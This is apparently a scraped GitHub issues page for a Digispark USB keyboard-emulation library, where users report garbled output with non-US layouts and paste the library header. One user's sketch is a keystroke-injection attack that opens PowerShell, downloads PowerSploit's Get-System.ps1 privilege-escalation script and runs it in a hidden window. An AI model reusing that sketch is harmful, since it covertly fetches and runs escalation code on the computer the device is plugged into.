ernesto-xload / digisparkkeyboard Goto Github PK
View Code? Open in Web Editor NEWDigisparkKeyboard library with multiple layout support
License: GNU General Public License v3.0
DigisparkKeyboard library with multiple layout support
License: GNU General Public License v3.0
Hi, I wanna make a Swiss German header file.
But I can't find an ascii to key code lookup table on the internet. How did you made the lookup tables? By yourself or did you find the tables on the internet? Do you have some useful links?
Awesome work by the way
Hey guys, i am new to arduino, if you could help me was awsome, here is the thing, when i tell it to write something it does not write the right way, it is all messed up, gonna put the example here bellow ↓↓↓
#include "DigiKeyboard.h"
#define kbd_pt_pt
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.println("abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 !#$%&'()*+,-./:;<=>?@[]^_`{|}~");
for(;;){ /empty/ }
}
and the what it writes is this ↓↓↓
YZ+~´&?\abcdefghijklmnopqr9Çç;«:_"ABCDEFGHIJKLMNOPQR=(»,'.-01) !ª#$%/º23<5>78SUVWXsuv
if you could help me out was awsome cause i am new at this stuff and wanna learn!
Hi I replaced the library and I get hgo]jk`]dd
instead of powershell
with default values & sketch.
Any clues?
Somehow, this doesnt work for me.....
anybody knows to fix this?
my sketch:
**#define kbd_de_de**
#include <DigiKeyboard.h>
void setup() {
DigiKeyboard.update();
DigiKeyboard.delay(5000);
}
void loop() {
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
delay(2000);
DigiKeyboard.println("powershell");
delay(2000);
DigiKeyboard.println("$client = new-object System.Net.WebClient");
delay(2000);
DigiKeyboard.println("$client.DownloadFile(\"https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/Get-System.ps1\" , \"Get-System.ps1\")");
delay(10000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
delay(2000);
DigiKeyboard.println("powershell.exe -windowstyle hidden -File %USERPROFILE%\\Get-System.ps1");
delay(4000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
while(1);
}
my DigiKeyboard.h file
/*
* Based on Obdev's AVRUSB code and under the same license.
*
* TODO: Make a proper file header. :-)
* Modified for Digispark by Digistump
*/
#ifndef __DigiKeyboard_h__
#define __DigiKeyboard_h__
#include <Arduino.h>
#include <avr/pgmspace.h>
#include <avr/interrupt.h>
#include <avr/delay.h>
#include <string.h>
#include "usbdrv.h"
#include "scancode-ascii-table.h"
**#define kbd_de_de**
#ifdef kbd_be_be
#include "digi_be_be.h"
#endif
#ifdef kbd_cz_cz
#include "digi_cz_cz.h"
#endif
#ifdef kbd_da_dk
#include "digi_da_dk.h"
#endif
#ifdef kbd_de_de
#include "digi_de_de.h"
#endif
#ifdef kbd_es_es
#include "digi_es_es.h"
#endif
#ifdef kbd_fi_fi
#include "digi_fi_fi.h"
#endif
#ifdef kbd_fr_fr
#include "digi_fr_fr.h"
#endif
#ifdef kbd_it_it
#include "digi_it_it.h"
#endif
#ifdef kbd_pt_pt
#include "digi_pt_pt.h"
#endif
#ifdef kbd_tr_tr
#include "digi_tr_tr.h"
#endif
#ifndef _kbd_lang
#include "digi_en_us.h"
#endif
// TODO: Work around Arduino 12 issues better.
//#include <WConstants.h>
//#undef int()
typedef uint8_t byte;
#define BUFFER_SIZE 2 // Minimum of 2: 1 for modifiers + 1 for keystroke
static uchar idleRate; // in 4 ms units
/* We use a simplifed keyboard report descriptor which does not support the
* boot protocol. We don't allow setting status LEDs and but we do allow
* simultaneous key presses.
* The report descriptor has been created with usb.org's "HID Descriptor Tool"
* which can be downloaded from http://www.usb.org/developers/hidpage/.
* Redundant entries (such as LOGICAL_MINIMUM and USAGE_PAGE) have been omitted
* for the second INPUT item.
*/
const PROGMEM char usbHidReportDescriptor[USB_CFG_HID_REPORT_DESCRIPTOR_LENGTH] = { /* USB report descriptor */
0x05, 0x01, // USAGE_PAGE (Generic Desktop)
0x09, 0x06, // USAGE (Keyboard)
0xa1, 0x01, // COLLECTION (Application)
0x05, 0x07, // USAGE_PAGE (Keyboard)
0x19, 0xe0, // USAGE_MINIMUM (Keyboard LeftControl)
0x29, 0xe7, // USAGE_MAXIMUM (Keyboard Right GUI)
0x15, 0x00, // LOGICAL_MINIMUM (0)
0x25, 0x01, // LOGICAL_MAXIMUM (1)
0x75, 0x01, // REPORT_SIZE (1)
0x95, 0x08, // REPORT_COUNT (8)
0x81, 0x02, // INPUT (Data,Var,Abs)
0x95, 0x01, // REPORT_COUNT (simultaneous keystrokes)
0x75, 0x08, // REPORT_SIZE (8)
0x25, 0x65, // LOGICAL_MAXIMUM (101)
0x19, 0x00, // USAGE_MINIMUM (Reserved (no event indicated))
0x29, 0x65, // USAGE_MAXIMUM (Keyboard Application)
0x81, 0x00, // INPUT (Data,Ary,Abs)
0xc0 // END_COLLECTION
};
/* Keyboard usage values, see usb.org's HID-usage-tables document, chapter
* 10 Keyboard/Keypad Page for more codes.
*/
#define MOD_CONTROL_LEFT (1<<0)
#define MOD_SHIFT_LEFT (1<<1)
#define MOD_ALT_LEFT (1<<2)
#define MOD_GUI_LEFT (1<<3)
#define MOD_CONTROL_RIGHT (1<<4)
#define MOD_SHIFT_RIGHT (1<<5)
#define MOD_ALT_RIGHT (1<<6)
#define MOD_GUI_RIGHT (1<<7)
#define KEY_A 4
#define KEY_B 5
#define KEY_C 6
#define KEY_D 7
#define KEY_E 8
#define KEY_F 9
#define KEY_G 10
#define KEY_H 11
#define KEY_I 12
#define KEY_J 13
#define KEY_K 14
#define KEY_L 15
#define KEY_M 16
#define KEY_N 17
#define KEY_O 18
#define KEY_P 19
#define KEY_Q 20
#define KEY_R 21
#define KEY_S 22
#define KEY_T 23
#define KEY_U 24
#define KEY_V 25
#define KEY_W 26
#define KEY_X 27
#define KEY_Y 28
#define KEY_Z 29
#define KEY_1 30
#define KEY_2 31
#define KEY_3 32
#define KEY_4 33
#define KEY_5 34
#define KEY_6 35
#define KEY_7 36
#define KEY_8 37
#define KEY_9 38
#define KEY_0 39
#define KEY_ENTER 40
#define KEY_SPACE 44
#define KEY_F1 58
#define KEY_F2 59
#define KEY_F3 60
#define KEY_F4 61
#define KEY_F5 62
#define KEY_F6 63
#define KEY_F7 64
#define KEY_F8 65
#define KEY_F9 66
#define KEY_F10 67
#define KEY_F11 68
#define KEY_F12 69
#define KEY_ARROW_LEFT 0x50
class DigiKeyboardDevice : public Print {
public:
DigiKeyboardDevice () {
cli();
usbDeviceDisconnect();
_delay_ms(250);
usbDeviceConnect();
usbInit();
sei();
// TODO: Remove the next two lines once we fix
// missing first keystroke bug properly.
memset(reportBuffer, 0, sizeof(reportBuffer));
usbSetInterrupt(reportBuffer, sizeof(reportBuffer));
}
void update() {
usbPoll();
}
// delay while updating until we are finished delaying
void delay(long milli) {
unsigned long last = millis();
while (milli > 0) {
unsigned long now = millis();
milli -= now - last;
last = now;
update();
}
}
//sendKeyStroke: sends a key press AND release
void sendKeyStroke(byte keyStroke) {
sendKeyStroke(keyStroke, 0);
}
//sendKeyStroke: sends a key press AND release with modifiers
void sendKeyStroke(byte keyStroke, byte modifiers) {
sendKeyPress(keyStroke, modifiers);
// This stops endlessly repeating keystrokes:
sendKeyPress(0,0);
}
//sendKeyPress: sends a key press only - no release
//to release the key, send again with keyPress=0
void sendKeyPress(byte keyPress) {
sendKeyPress(keyPress, 0);
}
//sendKeyPress: sends a key press only, with modifiers - no release
//to release the key, send again with keyPress=0
void sendKeyPress(byte keyPress, byte modifiers) {
while (!usbInterruptIsReady()) {
// Note: We wait until we can send keyPress
// so we know the previous keyPress was
// sent.
usbPoll();
_delay_ms(5);
}
memset(reportBuffer, 0, sizeof(reportBuffer));
reportBuffer[0] = modifiers;
reportBuffer[1] = keyPress;
usbSetInterrupt(reportBuffer, sizeof(reportBuffer));
}
size_t write(uint8_t chr) {
uint8_t data = pgm_read_byte_near(ascii_to_scan_code_table + (chr - 8));
uint8_t tmpmodifiers=0;
if(chr == '<') {
sendKeyStroke(100);
}
else if(chr == '>') {
sendKeyStroke(100, MOD_SHIFT_RIGHT);
}
else if(chr == '|') {
sendKeyStroke(100, MOD_ALT_RIGHT);
}
else
{
sendKeyStroke(data & 0b00111111, data >> 7 ? MOD_SHIFT_RIGHT : 0 | (data << 1) >> 7 ? MOD_ALT_RIGHT : 0);
}
return 1;
}
size_t write2(uint8_t chr) {
if(chr == 'ı') {
sendKeyStroke(51, KEY_I);
}
else {
uint8_t data = pgm_read_byte_near(ascii_to_scan_code_table + (chr - 8));
uint8_t tmpmodifiers=0;
if (data & 0x80) { // it's a capital letter or other character reached with shift
tmpmodifiers |= 0x02; // set the left shift modifier
data &= 0x7F;
}
if (data & 0x40) { // it's an altgr (ALT_RIGHT) character
tmpmodifiers |= 0x40; // set the altgr modifier
data &= 0x3F;
}
if (data==0x03) {
data=0x64;
}
sendKeyStroke(data,tmpmodifiers);
sendKeyStroke(data & 0b01111111, data >> 7 ? MOD_SHIFT_RIGHT : 0);
}
return 1;
}
//private: TODO: Make friend?
uchar reportBuffer[2]; // buffer for HID reports [ 1 modifier byte + (len-1) key strokes]
using Print::write;
};
DigiKeyboardDevice DigiKeyboard = DigiKeyboardDevice();
#ifdef __cplusplus
extern "C"{
#endif
// USB_PUBLIC uchar usbFunctionSetup
uchar usbFunctionSetup(uchar data[8]) {
usbRequest_t *rq = (usbRequest_t *)((void *)data);
usbMsgPtr = DigiKeyboard.reportBuffer; //
if ((rq->bmRequestType & USBRQ_TYPE_MASK) == USBRQ_TYPE_CLASS) {
/* class request type */
if (rq->bRequest == USBRQ_HID_GET_REPORT) {
/* wValue: ReportType (highbyte), ReportID (lowbyte) */
/* we only have one report type, so don't look at wValue */
// TODO: Ensure it's okay not to return anything here?
return 0;
} else if (rq->bRequest == USBRQ_HID_GET_IDLE) {
//usbMsgPtr = &idleRate;
//return 1;
return 0;
} else if (rq->bRequest == USBRQ_HID_SET_IDLE) {
idleRate = rq->wValue.bytes[1];
}
} else {
/* no vendor specific requests implemented */
}
return 0;
}
#ifdef __cplusplus
} // extern "C"
#endif
#endif // __DigiKeyboard_h__
and at least my output:
PS C:\Users\lattepanda> $client ´newßobject Szstem.Net.WebClient
PS C:\Users\lattepanda> $client.DownloadFile)https--raw.githubusercontent.com-PowerShellMafia-PowerSploit-master-Privesc-GetßSzstem.ps1 , GetßSzstem.ps1=
WTF?!
As you can see, ive edited the h-File to set up the right language, but its still english :(
Why is there only one KEY_ARROW_LEFT arrow cursor key specified in the DigisparkKeyboard.h
file?
Why aren't other arrow keys specified?
hi, so like many other issues posted here, i was getting pure gibberish output with he es_es inclueded, i was able to kinda fix this by directly placing the contents of digi_es_es.h into the digi_en_us.h file i think im pretty close, im just missing a few characters for it to be fully operational:
from this:
#include "DigiKeyboard.h"
#define kbd_es_es
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1500);
DigiKeyboard.print("abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 !#$%&'()*+,-./:;<=>?@[]^_`{|}~");
for(;;){}
}
i get this output:
abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 !·$%&'()*+,-./:;<=>?@
so the only characters missing are: # [ ] ^ _ ` { | } ~
any ideas on how to get those?
PD I have NO idea why this worked tho, because i've modifies the en_us file, but i'm still including the es_es file on to the script XD
Hope this helps someone, cheers
Tried running a test code:
#define kbd_it_it
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.print("abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 \|!'\"$%&/()=?^<>[]{}@#,;.:-_");
}
void loop() {}
and apparently it gives out gibberish strings
YZèù+&?<abcdefghijklmnopqr9çò;ì:_"ABCDEFGHIJKLMNOPQR)=(^,'.-01`à !57V|SUsu8$3/2%W
#include "DigiKeyboard.h"
#define kbd_tr_tr
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.println("abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 !#$%&'()*+,-./:;<=>?@[]^_`{|}~");
for(;;){ /empty/ }
}
OUTPUT:
YZğ,ü&?"abcdefghıjklmnopqr9ŞşÖ-Ç:'ABCDEFGHIJKLMNOPQR=(_ö*ç.01) !İ^+%/i23<5>78SUVWXs|uv
trying editing that worked well
Hi, it works perfect BUT it always adds "." end of the line. For example normally it needs to write "powershell" but it writes "powershell."
can you help me to fix this issue,thanks.
Hi @ernesto-xload , can you please approve my MR? #14
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.